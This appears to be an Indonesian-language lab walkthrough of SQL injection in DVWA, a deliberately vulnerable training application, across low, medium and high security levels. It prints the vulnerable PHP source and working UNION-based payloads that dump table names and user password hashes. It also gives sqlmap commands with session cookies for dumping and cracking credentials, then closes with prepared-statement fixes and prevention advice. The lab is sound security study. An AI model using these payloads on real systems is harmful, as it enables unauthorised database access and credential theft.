DVWA Series: SQL Injection

⏱️13 min read

Intro

DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.

Disclaimer

Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.

Apa itu SQL Injection?

SQL injection adalah sebuah teknik hacking untuk mendapatkan akses pada sistem database yang berbasis SQL. SQL sendiri merupakan singkatan dari Structured Query Language yaitu bahasa yang digunakan untuk membuat serta mengolah database. Dalam melakukan teknik SQL injection, para peretas akan memanfaatkan celah keamanan pada web atau aplikasi. Mereka akan memasukkan perintah-perintah SQL ke dalam database mesin server sehingga mereka dapat masuk ke dalam sistem tanpa harus memiliki username dan password administrator. SQL injection ini dapat terjadi karena beberapa hal seperti kurangnya penanganan terhadap karakter-karakter seperti tanda petik satu atau karakter double minus yang dapat menyebabkan suatu aplikasi dapat disisipi peretas dengan perintah SQL.

Security Level: Low

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

Information Gathering

Terdapat form input dimana user diminta untuk memasukkan ID kemudaian nanti akan muncul data First name dan Surename yang diambil dari database (semacam mesin pencarian). 1

Dan kalau kita kihat, http method yang dipakai adalah GET sehingga kita bisa lihat data yang dikirim lewat URL. Kemudian untuk mencari tahu apakah form ini memiliki celah SQL Injection, kita bisa mencobanya dengan meng-inputkan kutip satu (') boleh pada url maupun fada form input. Maka akan mucul error sebagai berikut: 2

Jika terdapat error. Ini berarti kita bisa melakukan SQL Injection. Kenapa error? karena ketika kita menginputkan kutip satu, maka query yang dijalankan oleh server akan seperti berikut:

SELECT first_name, last_name FROM users WHERE user_id = '$id'';

terdapat tanda kutip yang tidak memiliki pasangan (makanya biar kita ga ikutan error harus punya pasangan wkwk).

Launch Attack

Untuk menampilkan semua record pada tabel maka kita harus memasukkan payload yang nanti mengembalikan nilai true. berikut payloadnya:

%' or '1' = '1

sehingga kuery yang di eksekusi server menjadi

SELECT first_name, last_name FROM users WHERE user_id = %' or '1' = '1';

Tanda % tidak sama dengan apapun dan akan mengembalikan nilai salah (False). Queri ‘1’=‘1’ mengembalikan nilai True karena 1 akan selalu sama dengan 1. maka False atau True akan mengembalikan True

Menampilkan User Database

Untuk menampilkan pengguna Database yang mengeksekusi kode PHP menggunakan payload:

%' or 1=1 union select null, user() #

Tanda # pada sql berfungsi untuk membuat komentar.

Sehingga hasil query yang dijalankan server adalah:

SELECT first_name, last_name FROM users WHERE user_id = '%' or 1=1 union select null, user() #';

3

Menampilkan Nama Database

%' or 1=1 union select null, database() #

Sehingga query yang dijalankan menjadi

SELECT first_name, last_name FROM users WHERE user_id = '%' or 1=1 union select null, database() #';

4

Menampilkan Versi Database

Untuk mengetahui versi database yang menjalankan aplikasi DVWA

%' or 1=1 union select null, version() #

5

Menampilkan Semua tabel pada information_schema

information_schema menyimpan informasi tentang tabel, kolom, dan semua database lain yang dikelola oleh MySQL. Untuk menampilkan semua tabel yang ada di information_schema, Gunakan payload:

%' and 1=1 union select null, table_name from information_schema.tables #

Sehingga query yang dijalankan menjadi

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, table_name from information_schema.tables #';

6

Menampilkan Semua Tabel yang Mengandung Kata User pada Information_schema

%' and 1=1 union select null, table_name from information_schema.tables where table_name like 'user%'#

Maka query yang dijalankan menjadi

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, table_name from information_schema.tables where table_name like 'user%'#';

7

Menampilkan Semua Kolom pada Tabel User

%' and 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

0x0a pada hexadesimal berarti 10, dan jika dirubah menjadi ASCII berarti newline

Sehingga query yang dieksekusi adalah

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #';

8

Menampilkan Semua Isi dari Tabel User

%' and 1=1 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

Query yang dijalankan

SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=1 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #';

9

Dilihat bahwa semua data telihat. Jika kita perhatikan pada kolom pasword terdapat string acak yang merupakan Message diggest atau hasil dari hash. Dan kalau diperhatikan lagi hash tersebut terdapat 32 karakter yang merupakan ciri dari fungsi hash MD5. Karena MD5 adalah fungsi hash yang lemah dan pada jaman sekarang sudah tidak disarankan untuk digunakan. Kita dapat melihat plain text dari string hash tersebut dengan melakukan dictionary attack. Bisa menggunakan tool online.

10 11

Menyerang menggunakan SQLMap

Jika tidak mau bingung dengan query di atas, kita bisa menggunakan automation tools seperti SQLMap. Pertama-tama kita tentukan terlebih dahulu method yang digunakan. Pada kasus ini, method yang digunakan adalah GET. Dan endpoint pada kasus ini adalah:

http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#

Kita bisa cek database yang ada dengan menjalan kan perintah:

sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" --dbs

-u digunakan untuk menentukan URL atau endpoint --cookie digunakan untuk menetukan cookie. --dbs digunakan untuk melihat database yang tersedia.

12 Hasilnya ada 2 yaitu dvwa dan information_schema.

Cek Tabel yang ada Dalam DB dvwa

sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" -D dvwa --tables

Keterangan: -D = menentukan database. --tables = melihat table dari database

13

Cek Kolom pada Tabel Users

sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" -D dvwa -T users --columns

Keterangan: -D = menentukan database. -T = melihat table dari database --columns = melihat kolom

14

Dump Tabl Users

sqlmap -u 'http://192.168.1.6/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=dnluhm0tj00oo3g678re07cvl0; security=low" -D dvwa -T users --dump

Keterangan: --dump akan meng-crack password yang di-hash. Anda akan ditanya apakah akan menggunakan dictionary yang ada di SQLMap atau dictionary kita sendiri.

15

Security Level: Medium

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Information Gathering

Id pertama kali diproses oleh fungsi mysqli_real_escape_string. Menurut dokumentasi, https://www.php.net/manual/en/mysqli.real-escape-string.php. Fungsi akan meng-escape beberapa karakter yang diblacklist termasuk kutipan tunggal. Namun, bidang id masih digabungkan ke kueri secara langsung sehingga masih dapat di injeksi.

Pada level ini form yang digunakan adalah bertipe select dan method yang digunakan adalah POST. Sehingga untuk mencoba merubah parameter-nya, kita bisa menggunakan tool Burp suite seperti berikut: 16

Jika kita ubah nilai parameter id-nya menjadi ’, maka pesan error-nya akan berbeda dibanding level sebelumnya. 17

Walaupun errornya berbeda. Namun itu sudah menandakan bahwa web tersebut mempunyai celah SQL Injection.

Ada penambahan backslash () sebelum karakter ‘. Ini dikarenakan fungsi mysqli_real_escape_string() yang melakukan encoding pada spesial karakter seperti yang dijelaskan di atas. Sehingga sekarang kita tidak bisa menggunakan payload pada level sebelumnya seperti:

%' or '1' = '1

Maka dari itu kita harus menggunakan cara lain, yaitu mencari payload yang tidak menggunakan spesial karakter. Jawaban yang saya temukan adalah menggunakan union!

Launch Attack

Untuk menampilkan semua list kita bisa menggunakan payload

1+or+1=1

18

Semua vektor yang digunakan dalam level low harus bisa digunakan setelah melalui penyesuaian yang sama.

Contoh saja, berikut menampilkan password pada tabel user

1+++union+select+1,group_concat(0x7c,password,0x7C)+from+dvwa.users+--+

maka menghasilkan: 19

Atau ketika ingin menampilkan semua isi tabel users menggunakan payload

union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users

maka menampilkan: 20

Menggunakan SQLMap

Salah satu cara termudah untuk menggunakan SQLMap (apa lagi dengan method POST) adalah dengan bantuan Burp suite, yaitu dengan meng-intercept request lalu di salin ke suatu file (contohnya req.txt).

POST /vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://192.168.1.6
Connection: close
Referer: http://192.168.1.6/vulnerabilities/sqli/
Cookie: PHPSESSID=ceirrk20orjsosubae4allmun1; security=medium
Upgrade-Insecure-Requests: 1

id=1&Submit=Submit

21

Selanjutnya adalah menjalankan SQLMap:

sqlmap -r req.txt --dbs

Keterangan: -r berarti membaca file.

maka hasilnya: 22

silahkan lanjutkan hingga mendapat credential dari user.

Security Level: High

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Pada level ini terdapat perbedaan tentang cara melakukan inputan. Sekarang form inputan berada di halaman session-input.php (berupa pop-up window) lalu nilainya dijadika session dan hasilnya ditampilkan di halaman index.php 21

Coba kita jalankan payload sebelumnya pada level low :

%' or '1'='1

Kueri memiliki postfix LIMIT 1 untuk mencegah menampilkan jumlah catatan yang dikembalikan secara tidak terduga . Kemudian karakter tidak di escape. Dengan asumsi bahwa bidang id masih digabungkan ke query secara langsung, coba komentari sisa query menggunakan #.

%' or '1'='1';#

25

Launch Attack

Setelah mengumpulkan informasi, kita akan mulai melakukan SQL Injection dengan payload seperti berikut:

%' or '1' = '1'#
SELECT first_name, last_name FROM users WHERE user_id = '%' or '1' = '1'#' LIMIT 1;

Sebagai contoh kita bisa mencari semua isi tabel users menggunakan payload:

1' union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users; #

26

Cara Mencegah SQL Injection

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Menggunakan Parameterized SQL Query

Penggunaan Parameterized SQL Query atau prepared statement dapat memudahkan dalam membedakan antara data yang diinput user dengan SQL Statement

Menonaktifkan Error

Dengan menonaktifkan mode-debug pada aplikasi maka pesan error tidak akan ditampilkan sehinga pesan error tersebut tidak dimanfaatkan peretas

Tambahkan Escape Character

Gunakan escape karakter yang memiliki makna khusus di SQL seperti ; " dll

Lakukan Validasi Input (Pattern Check)

Dilakukan untuk memberikan batasan hak akses

Gunakan WAF (Web Application Firewall)

Digunakan untuk mendeteksi dan memblo serangan SQL Injection

Lakukan Testing Secara Berkala

Baik penetration testing, vulnerability assesment dan lain lain. kemudian perbaiki celah sesegera mungkin.

Amankan Database yang Digunakan

Dengan mengimplementasikan least privileged (memberikan hak akses pengguna sesuai yang diperlukan dan seminimal mungkin) kemudian gunakan enkripsi, nonaktifkan remote access dari publik, jangan gunakan default credential, dan ganti password secara berkala.